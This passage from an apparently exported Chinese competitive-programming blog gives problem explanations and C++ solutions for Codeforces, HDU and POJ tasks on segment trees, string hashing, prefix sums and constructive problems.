*********************************************** 2Author :111qqz 3Created Time :2016年11月27日 星期日 22时16分44秒 4File Name :code/cf/#381/E.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=3E5+7; 34int a[N]; 35int n,m; 36struct Tree 37{ 38 LL lm,rm;//左右端点值。 39 int ans,len,upL,upR,downL,downR,maxL,maxR; 40 /* 分别为 41 * ans:区间最优解 42 * len:区间长度 43 * upL,downL,maxL：包含左端点的递增，递减，山型的长度 44 * upR,downR,maxR: 包含右端点的递增，递减，山型的长度 45 */ 46 Tree() 47 { 48 ans = len = upL = upR = downL = downR = maxL = maxR = lm = rm = 0; 49 } 50 Tree( int x) 51 { 52 ans = len = upL = upR = downL = downR = maxL = maxR = 1; 53 lm = rm = x; 54 } 55}; 56 57Tree operator + ( Tree x,Tree y) //x为左子树所表示的区间，y为右子树所表示的区间 58{ 59 Tree res; 60 if (x.rm\u003ey.lm) 61 { 62 res.ans = max(x.ans,y.ans); 63 res.len","date":"2016-11-28","externalUrl":null,"permalink":"/2016/11/cf740e/","section":"Posts","summary":"e:题意：那个数，定义hill为一段连续的区间，满足该区间为严格单峰。现在有若干操作，每个操作是对某段区间的数同时增加一个数，问每次操作后，所有的hill中，宽度最大的（区间长度最大）的是多少。","tags":["lazy标记","线段树"],"title":"codeforces #381 div2 E. Alyona and towers (线段树 区间合并)","type":"post"},{"categories":["ACM"],"content":"题目链接 d:题意：一棵树，给出边权和点权，定义点v控制点u，当且仅当u是v的子树中的点，并且dis(u,v)\u003c=a[u]，其中dis(u,v)为点u到点v路径上的边权和，a[u]为点u的点权，现在问对于每个节点v，其能控制的点有多少个。 思路：先写了个rmq+dfs的lca。。。那么任意两个点的距离都可以O(1)得到了。然后不会了233333. upd:和lca没有什么关系，因为一个点能控制另一个点这两个点一定在一条通向根的链上，因此距离直接减一下就好了。 机智的做法：dfs的时候维护一个栈，对于栈中序列，后面一半是对当前点有贡献的。问题时求对于每个v统计其能控制多少个u，现在我们固定u，考虑能控制他的v。这些v在树上的形态时一条链 ，借助第二类前缀和的思想，对于u标记+1，对于u往上的离根最近的且能统治u的v上面的一个标记-1，然后dfs后序遍历（也就是链的起点时距离根远的那一边），距离处理的时候，只需要在递归之后更新ans就好了。 栈里面维护，到哪个节点，从根下来，边权和最大，找边权和\u003e=当前边权和-a[u]的地方。 启示：由于两个存在统治关系的点在一条链上，边权都为正，边权和具有单调性，单调的东西，容易想到二分处理。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月24日 星期四 09时17分48秒 4File Name :code/cf/#381/D.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=2E5+7; 32int n; 33int a[N]; 34LL dis[N]; 35vector\u003c pair\u003cint,LL\u003e \u003eedge[N]; 36vector\u003c pair\u003cLL,int\u003e \u003epath; 37int ans[N]; 38void dfs( int u,int pre) 39{ 40 ans[u]++; 41 int idx = lower_bound(path.begin(),path.end(),make_pair(dis[u]-a[u],-1))-path.begin()-1; 42 if (idx\u003e=0) ans[path[idx].sec]--; 43 path.push_back(make_pair(dis[u],u)); 44 for ( auto x : edge[u]) 45 { 46 int v = x.first; 47 if (v==pre) continue; 48 dis[v] = dis[u] + x.sec; 49 dfs(v,u); 50 ans[u]+=ans[v];//后序遍历...链的起点原理根","date":"2016-11-28","externalUrl":null,"permalink":"/2016/11/cf740d/","section":"Posts","summary":"题目链接 d:题意：一棵树，给出边权和点权，定义点v控制点u，当且仅当u是v的子树中的点，并且dis(u,v)\u003c=a[u]，其中dis(u,v)为点u到点v路径上的边权和，a[u]为点u的点权，现在问对于每个节点v，其能控制的点有多少个。","tags":["binary search","前缀和"],"title":"codeforces 381 div 2 D. Alyona and a tree(二分+前缀和)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： m个区间，要求构造一个长度为n的数组，满足m个区间中，每个区间的mex值中的最小值最大。 s思路：很容易想到的是…这个最大的mex 不可能超过每一组区间长度，假设最小的区间长度为mn 那么是否一定可以构造出mex为mn的数组呢？ 是的。 只需要按照 0,1,2…mn-1,0,1….的方式构造即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月24日 星期四 09时00分04秒 4File Name :code/cf/#381/C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n,m; 35struct node 36{ 37 int l,r; 38 int len; 39 bool operator \u003c ( node b)const 40 { 41 if (r==b.r) return l\u003cb.l; 42 return r\u003cb.r; 43 } 44}a[N]; 45int ans[N]; 46int main() 47{ 48 #ifndef ONLINE_JUDGE 49 freopen(\"code/in.txt\",\"r\",stdin); 50 #endif 51 scanf(\"%d%d\",\u0026n,\u0026m); 52 int mx = inf ; 53 for ( int i = 1; i \u003c= m ; i++) 54 { 55 scanf(\"%d%d\",\u0026a[i].l,\u0026a[i].r); 56 a[i].len = a[i].r-a[i].l+1; 57 mx = min(mx,a[i].len); 58 } 59 printf(\"%d\\n\",mx); 60 int cur = 0 ; 61 for ( int i = 1 ; i \u003c= n ; i++) 62 { 63// cout\u003c\u003c\"miao\"\u003c\u003cendl; 64 ans[i] = cur; 65 cur++; 66 cur = cur % mx; 67 } 68 for ( int i = 1; i \u003c= n ; i++) printf(\"%d \",ans[i]); 69 printf(\"\\n\"); 70 71 72 #ifndef ONLINE_JUDGE 73 fclose(stdin); 74 #endif 75 return 0; 76}","date":"2016-11-28","externalUrl":null,"permalink":"/2016/11/cf740c/","section":"Posts","summary":"题目链接 题意： m个区间，要求构造一个长度为n的数组，满足m个区间中，每个区间的mex值中的最小值最大。","tags":["构造"],"title":"codeforces #381 div 2 C. Alyona and mex (构造)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： 地主小花有n座山，这些山在地主家门前排成一条直线。这些山一开始均有相同的高度。 每一天，小花都会要求ZJiaQ开挖机把几座山挖掉一定高度，或者给一些山堆上一些高度。并且要求报告ZJiaQ报告现在有多少座山属于“高山脉” 当一排山的高度相等，并且比这排山左边和右边的山要高时，这排山被称为高山脉。 当然，最左边和最右边的山不可能是“高山脉”的一部分 思路：线段树，要维护的域蛮多的。 下面高山脉简称\"HM\" sum:区间中HM的总长度。 lsum,rsum,区间中包含左端点，右端点的高度相同的山的长度。 lh,rh：区间中包含左端点，包含右端点的的高度相同的山的高度。 llh,rrh:从左端点向右，从有段点向左的，第一个高度不相同的山的高度。 由于这道题n有1E9，没办法像以前的办法build 线段树，因此我们采用动态线段树的技巧。 官方题解： 对于求“高山脉”长度，可以利用线段树。树节点中保存左高度连续长度，左高度连续区间的高度，左高度连续区间的状态（即是否高于第一个高度不同的山），右高度连续长度，右高度连续区间的高度，右高度连续区间的状态，每段区间内的“高山脉”数量。每次更新时更新高度即可，在pushup过程中去计算新产生的“高山脉”。写起来难度不是很大，然后对于n很大且必须在线做这个条件只需对于线段树动态建立节点去维护即可 关于动态线段树： 平时我们做的线段树，假设区间为[1,n]，那我们通常都是直接以 1 号点表示区间【1，n】，以 i2 号点表示 i 节点代表区间的左半区间，以 i2+1 号点表示 i 节点多代表区间的右半区间，一半空间长度都定义为4*n。 在本题中，n比较大，直接将所有线段树中的所有节点定义出来不现实，那我们注意到，这道题实际上是对区间进行的一系列操作，那么就可能存在一个区间【l，r】，在所有处理过程中，该区间都可以被当做一个整体来看待。 如果是这样的话，我们定义出与该区间的子区间相对应的节点就没有意义了。 动态生成线段树就是：假设对某一节点 p (代表区间【l，r】)进行处理时，并不是对整个区间[l，r]进行处理，而是对其某个子区间进行处理，那这个时候，该区间就不能一直被当做一个整体来看待，所以生成两个初始子节点lp、rp（节点之均为初始值），表示该区间的左半部分与右半部分，然后父节点 p 在对两个新生成的子节点进行更新。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月27日 星期日 14时45分27秒 4File Name :code/hdu/5367.cpp 5 ************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define ms(a,x) memset(a,x,sizeof(a)) 21typedef long long LL; 22#define pi pair \u003c int ,int \u003e 23#define MP make_pair 24using namespace std; 25const double eps = 1E-8; 26const int dx4[4]={1,0,0,-1}; 27const int dy4[4]={0,-1,1,0}; 28const int INF = 0x3f3f3f3f; 29const int N=5E4+7; 30int cur,root; 31int n,q,nnn; 32struct Tree 33{ 34","date":"2016-11-27","externalUrl":null,"permalink":"/2016/11/hdu-5367-digger/","section":"Posts","summary":"题目链接 题意： 地主小花有n座山，这些山在地主家门前排成一条直线。这些山一开始均有相同的高度。 每一天，小花都会要求ZJiaQ开挖机把几座山挖掉一定高度，或者给一些山堆上一些高度。并且要求报告ZJiaQ报告现在有多少座山属于“高山脉” 当一排山的高度相等，并且比这排山左边和右边的山要高时，这排山被称为高山脉。 当然，最左边和最右边的山不可能是“高山脉”的一部分 思路：线段树，要维护的域蛮多的。","tags":["动态线段树","线段树"],"title":"hdu 5367 digger(动态线段树，区间合并)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：长度为n的序列，单点更新，或者询问某一个区间中最长连续严格递增序列的长度是多少。（此处的连续为位置连续，并非数值连续，也就是3,5,7,9，这样的就是满足题意的长度为4的序列） 思路：线段树区间合并。维护三个域。 mx:区间中最长连续严格递增序列的长度 lm:包含区间左端点的最长连续严格递增序列的长度。 rm:包含区间右端点的最长连续严格递增序列的长度。 PushUp的时候，一个区间的答案显然可以从左右两个子区间的最大值得到。 还有一种可能是左右区间各取一部分，此时必须满足左区间的右端点值严格小于右区间的左端点值。 需要注意的是，如果某区间的最长连续严格递增子序列的长度等于区间长度，那么该区间可以向相应方向延伸。 查询的时候也是如此，要记得查询的时候，某一段区间对答案贡献不会超过区间长度。。 hdu有点坑。。。函数名不能命名为update…update2也不行2333 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月26日 星期六 18时12分49秒 4File Name :code/hdu/3308.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=1E5+7; 32int n,m; 33int a[N]; 34struct Tree 35{ 36 int mx,lm,rm; 37}tree[N\u003c\u003c2]; 38void PushUp(int rt,int l,int r) 39{ 40 tree[rt].lm = tree[rt\u003c\u003c1].lm; 41 tree[rt].rm = tree[rt\u003c\u003c1|1].rm; 42 tree[rt].mx = max(tree[rt\u003c\u003c1].mx,tree[rt\u003c\u003c1|1].mx); 43 int m = (l+r)\u003e\u003e1; 44 if (a[m]\u003ca[m+1]) 45 { 46 if (tree[rt\u003c\u003c1].lm==m-l+1) tree[rt].lm+=tree[rt\u003c\u003c1|1].lm; 47 if (tree[rt\u003c\u003c1|1].rm == r-m) tree[rt].rm += tree[rt\u003c\u003c1].rm; 48 tree[rt].mx = max(tree[rt].mx,tree[rt\u003c\u003c1].rm + tree[rt\u003c\u003c1|1].lm); 49 } 50} 51void build( int l,int r,int rt) 52{ 53 if (l==r) 54 { 55 tree[rt].mx = tree[rt].lm = tree[rt].rm = 1; 56 return; 57 ","date":"2016-11-26","externalUrl":null,"permalink":"/2016/11/hdu-3308/","section":"Posts","summary":"题目链接 题意：长度为n的序列，单点更新，或者询问某一个区间中最长连续严格递增序列的长度是多少。（此处的连续为位置连续，并非数值连续，也就是3,5,7,9，这样的就是满足题意的长度为4的序列）","tags":["线段树"],"title":"hdu 3308 LCIS (线段树单点更新，区间合并)","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/740 A:现在有n个某种物品，要买k个使得n+k是4的倍数，可以的购买方案为a元1个，b元2个，c元3个，每种方案都可以买无限多。 思路：需要注意买多个未必比买少个贵.. 所以分情况讨论：n%4==0，输出0 n%4==1，需要买3+4k个， 可以的方案为，买1个c，或者3个a，或者1个a 1个b（此处用价钱指代方案，下同） n%4==2时，需要买2+4k个 可以的方案为：2个a，或者1个b，或者2个c n%4==3时，需要买4K+1个 可以的方案为：1个a,或者1个b+1个c，或者3个c 注意要开long long. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月24日 星期四 08时09分32秒 4File Name :code/cf/#381/A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int main() 34{ 35 #ifndef ONLINE_JUDGE 36 freopen(\"code/in.txt\",\"r\",stdin); 37 #endif 38 LL n,a,b,c; 39 cin\u003e\u003en\u003e\u003ea\u003e\u003eb\u003e\u003ec; 40 LL mn = 0 ; 41 if (n%4==0) 42 { 43 mn = 0 ; 44 } 45 else if (n%4==1) 46 { 47 mn = min(3LL*a,a+b); 48 mn = min(mn,c); 49 }else if (n%4==2) 50 { 51 mn = min(2LL*a,b); 52 mn = min(mn,2*c); 53 }else if (n%4==3) 54 { 55 mn = a; 56 mn = min(mn,b+c); 57 mn = min(mn,3LL*c); 58 } 59 printf(\"%lld\\n\",mn); 60 61 #ifndef ONLINE_JUDGE 62 fclose(stdin); 63 #endif 64 return 0; 65} B: 题意：给出n个数，以及m个子串，从中选若干个（可以不选或者全选），女孩的幸福值的计算方法为：a[i]*cnt[i]，a[i]为值，cnt[i]为第i个数在选中的子串里出现了几次（只考虑位置，相同的值算成不同的数） 思路：n,m很小，一个子串如果最后收益为正，就选，否则不选，暴力即可。 1/* *********************************************** 2Author :111qqz 3Created T","date":"2016-11-24","externalUrl":null,"permalink":"/2016/11/codeforces-381-div2/","section":"Posts","summary":"http://codeforces.com/contest/740 A:现在有n个某种物品，要买k个使得n+k是4的倍数，可以的购买方案为a元1个，b元2个，c元3个，每种方案都可以买无限多。","tags":["算法竞赛"],"title":"codeforces #381 div2","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n（n\u003c=1E3）个不同的点，问最多组成多少个平行四边形。 思路：这道题的关键是，对于平行四边形的判断条件，要利用平行四边形对角线的交点平分两条对角线的性质。 也就是说，如果两条线段的对角线重合，那么一定可以组成一个平行四边形。 因此统计中点的位置即可，复杂度nnlg(n*n) 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月22日 星期二 22时43分26秒 4File Name :code/poj/1971.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33struct point 34{ 35 int x,y; 36 bool operator \u003c (point b)const 37 { 38 if (x==b.x) return y\u003cb.y; 39 return x\u003cb.x; 40 } 41}p[1005],mid[1001*1001]; 42int n; 43int main() 44{ 45 #ifndef ONLINE_JUDGE 46 freopen(\"code/in.txt\",\"r\",stdin); 47 #endif 48 int T; 49 cin\u003e\u003eT; 50 while (T--) 51 { 52 ms(mp,0); 53 scanf(\"%d\",\u0026n); 54 for ( int i = 1; i \u003c= n ; i++) scanf(\"%d%d\",\u0026p[i].x,\u0026p[i].y); 55 int cnt = 0 ; 56 for ( int i = 1; i \u003c= n ; i++) 57 for ( int j = i +1 ; j \u003c= n ;j++) 58 { 59 mid[++cnt].x = p[i].x + p[j].x; 60 mid[cnt].y = p[i].y + p[j].y; 61 } 62 63 sort(mid+1,mid+cnt+1); 64 LL ans = 0 ; 65 int num = 0 ; 66 for ( int i = 1; i \u003c= cnt-1 ; i++) 67 { 68 if (mid[i].x==mid[i+1].x\u0026\u0026mid[i].y==mid[i+1].y) 69 { 70 num++; 71 ans = ans + num; 72 } 73 else 74 { 75 num = 0 ; 76 } 77 } 78 printf(\"%lld\\n\",ans); 79 } 80 81 82 #ifndef ONLINE_JUDGE 83 fclose(stdin); 84 #","date":"2016-11-22","externalUrl":null,"permalink":"/2016/11/poj-1971/","section":"Posts","summary":"题目链接 题意：给出n（n\u003c=1E3）个不同的点，问最多组成多少个平行四边形。","tags":["math"],"title":"poj 1971  Parallelogram Counting","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：一个字符串，其仅由nc种字符组成，问其所有长度为n的字串里，共用多少种不同的。 思路：一开始木有懂nc种字符有什么用… 然后写了hash，发现会TLE。。。因为用到了map，被卡了个log.. nc的作用是，可以把字符串看成一个nc进制的数，这样做的好处是，得到的hash值可以尽可能的小而且保证了不同的字符串对应了不同的hash值。 然后就可以不用map而是一个数组，就变成了O(1)赋值和判断了。。。 （然而没有数据范围其实还是有点耍流氓的嫌疑。。 1#include \u003ciostream\u003e 2#include \u003ccstring\u003e 3#include \u003cstdio.h\u003e 4using namespace std; 5const int N=16000005; //题目给出子串的最大和不超过16M 6const int NUM=257; 7bool Hash[N]; 8int m[NUM]; 9char str[1000000]; 10 11int n,nc,i,j,sum,seed=0,ans=0; 12int main() 13{ 14 // freopen(\"code/in.txt\",\"r\",stdin); 15 memset(Hash,false,sizeof(Hash)); 16 memset(m,0,sizeof(m)); 17 memset(str,'\\0',sizeof(str)); 18 cin\u003e\u003en\u003e\u003enc\u003e\u003estr; 19 int len = strlen(str); 20 for(int i = 0 ; i \u003c len; ++i) 21 { 22 if(!m[str[i]]) //将每个字符赋值为相应进制的数 23 m[str[i]]=++seed; 24 if(seed == nc) 25 break; 26 } 27 for(i=0;i\u003c=len-n;++i) 28 { 29 sum=0; 30 for(j=0;j\u003cn;++j) //将字符串str[i],..,str[i+n-1]变为一个nc进制的整数,来判断是否重复出现过 31 sum=sum*nc+m[str[i+j]]-1; 32 33 if(!Hash[sum]) 34 { 35 Hash[sum]=true; 36 ++ans; 37 } 38 } 39 cout\u003c\u003cans\u003c\u003cendl; 40 return 0; 41}","date":"2016-11-22","externalUrl":null,"permalink":"/2016/11/poj-1200/","section":"Posts","summary":"题目链接 题意：一个字符串，其仅由nc种字符组成，问其所有长度为n的字串里，共用多少种不同的。","tags":["hash"],"title":"poj 1200  Crazy Search (字符串哈希)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：n个人，每个人有一个level值，用一个最长30位的，可能带前缀0的数字串表示，如果i的level大于j的level，那么i可以教j飞行，每个人只能有一个老师，每个人也只能收一个徒弟。师生可以共用一把扫帚飞行。现在问最少需要多少扫帚。 思路：分析发现，影响扫帚多少的是相等的数有多少，因为只要不相等，就肯定可以构成师生关系…. 更确切得说，是所有数出现次数的最大值。 有一个trick点，就是带前缀0和不带前缀0的两个level被认为是相等的，hash的时候要处理前缀0. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月22日 星期二 19时18分30秒 4File Name :code/hdu/1800.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33unsigned int BKDHash(char *str) 34{ 35 unsigned int seed = 251; 36 unsigned int hash = 0 ; 37 while (*str=='0') str++; //带前缀0的和不带前缀0的认为是同一个数，因此要处理前缀0. 38 while (*str) hash = hash*seed+(*str++); 39 return (hash\u00260x7fffffff); 40} 41int n; 42map\u003cint,int\u003emp; 43char st[305]; 44int main() 45{ 46 #ifndef ONLINE_JUDGE 47// freopen(\"code/in.txt\",\"r\",stdin); 48 #endif 49 while (~scanf(\"%d\",\u0026n)) 50 { 51 mp.clear(); 52 for ( int i = 1; i \u003c= n ; i++) 53 { 54 scanf(\"%s\",st); 55 int id = BKDHash(st); 56 if (!mp[id]) mp[id] = 1; 57 else mp[id]++; 58 } 59 int ans = 0; 60 for ( auto it = mp.begin(); it !=mp.end(); it++) 61 { 62 ans = max(ans,it-\u003esec); 63 } 64 printf(\"%d\\n\",ans); 65 } 66 67 68 #ifndef ONLINE_JUDGE 69 fclose(stdin); 70 #endif 71 return 0; 72}","date":"2016-11-22","externalUrl":null,"permalink":"/2016/11/hdu1800/","section":"Posts","summary":"题目链接 题意：n个人，每个人有一个level值，用一个最长30位的，可能带前缀0的数字串表示，如果i的level大于j的level，那么i可以教j飞行，每个人只能有一个老师，每个人也只能收一个徒弟。师生可以共用一把扫帚飞行。现在问最少需要多少扫帚。","tags":["hash"],"title":"hdu 1800 Flying to the Mars (字符串hash)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：网站的注册系统..处理用户要注册的用户名，如果数据库中没有重名输出OK，否则输出要注册的用户名的字符串+num,num的大小为之前一共有多少个用户试图用该用户名。 思路：hash一下。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月22日 星期二 19时00分58秒 4File Name :code/cf/problem/4C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33unsigned int BKDHash(char *str) 34{ 35 unsigned int seed = 113; 36 unsigned hash = 0 ; 37 while (*str) hash = hash*seed+(*str++); 38 return (hash\u00260x7fffffff); 39} 40map\u003cint,int\u003emp; 41int n; 42const int N=1E5+7; 43char str[33]; 44int main() 45{ 46 #ifndef ONLINE_JUDGE 47 freopen(\"code/in.txt\",\"r\",stdin); 48 #endif 49 cin\u003e\u003en; 50 for ( int i = 1 ; i \u003c= n ; i++) 51 { 52 scanf(\"%s\",str); 53 int id = BKDHash(str); 54 if (!mp[id]) 55 { 56 puts(\"OK\"); 57 mp[id] = 1; 58 } 59 else 60 { 61 printf(\"%s%d\\n\",str,mp[id]); 62 mp[id]++; 63 } 64 65 } 66 67 #ifndef ONLINE_JUDGE 68 fclose(stdin); 69 #endif 70 return 0; 71}","date":"2016-11-22","externalUrl":null,"permalink":"/2016/11/cf4c/","section":"Posts","summary":"题目链接 题意：网站的注册系统..处理用户要注册的用户名，如果数据库中没有重名输出OK，否则输出要注册的用户名的字符串+num,num的大小为之前一共有多少个用户试图用该用户名。","tags":["hash"],"title":"codeforces 4C. Registration system (字符串hash)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给定一个两种语言的对照关系表…给出后一种语言中的单词，问对应的前一种语言的单词是什么。。。 思路：hash一下然后map存一下即可。。。。读入方式由于单词表和查询是根据空行分开的。。那么读入不能用scanf(因为会跳过空行），要用gets。。。然后再sscanf一下。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月20日 星期日 11时13分29秒 4File Name :code/poj/2503.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34char eng[N][12],fori[N][12]; 35char str[N]; 36map\u003cint,int\u003emp; 37unsigned int BKDRHash(char *str) 38{ 39 unsigned int seed = 113; 40 unsigned int hash = 0 ; 41 while (*str) hash = hash*seed+(*str++); 42 return (hash\u00260x7fffffff); 43} 44 45int main() 46{ 47 #ifndef ONLINE_JUDGE 48 freopen(\"code/in.txt\",\"r\",stdin); 49 #endif 50 int cnt = 1 ; 51 while (gets(str)) 52 { 53 if (strlen(str)==0) break; 54 sscanf(str,\"%s %s\",eng[cnt],fori[cnt]); 55 cnt++; 56 } 57 cnt--; 58 // for ( int i = 1; i \u003c= cnt ;i++) printf(\"%s %s\\n\",eng[i],fori[i]); 59 for ( int i = 1; i \u003c= cnt ; i++) mp[BKDRHash(fori[i])] = i ; 60 while(scanf(\"%s\",str)!=EOF) 61 { 62 if (!mp[BKDRHash(str)]) puts(\"eh\"); 63 else puts(eng[mp[BKDRHash(str)]]); 64 } 65 66 67 #ifndef ONLINE_JUDGE 68 fclose(stdin); 69 #endif 70 return 0; 71}","date":"2016-11-22","externalUrl":null,"permalink":"/2016/11/poj-2503/","section":"Posts","summary":"题目链接 题意：给定一个两种语言的对照关系表…给出后一种语言中的单词，问对应的前一种语言的单词是什么。。。","tags":["hash"],"title":"poj 2503 Babelfish (字符串hash 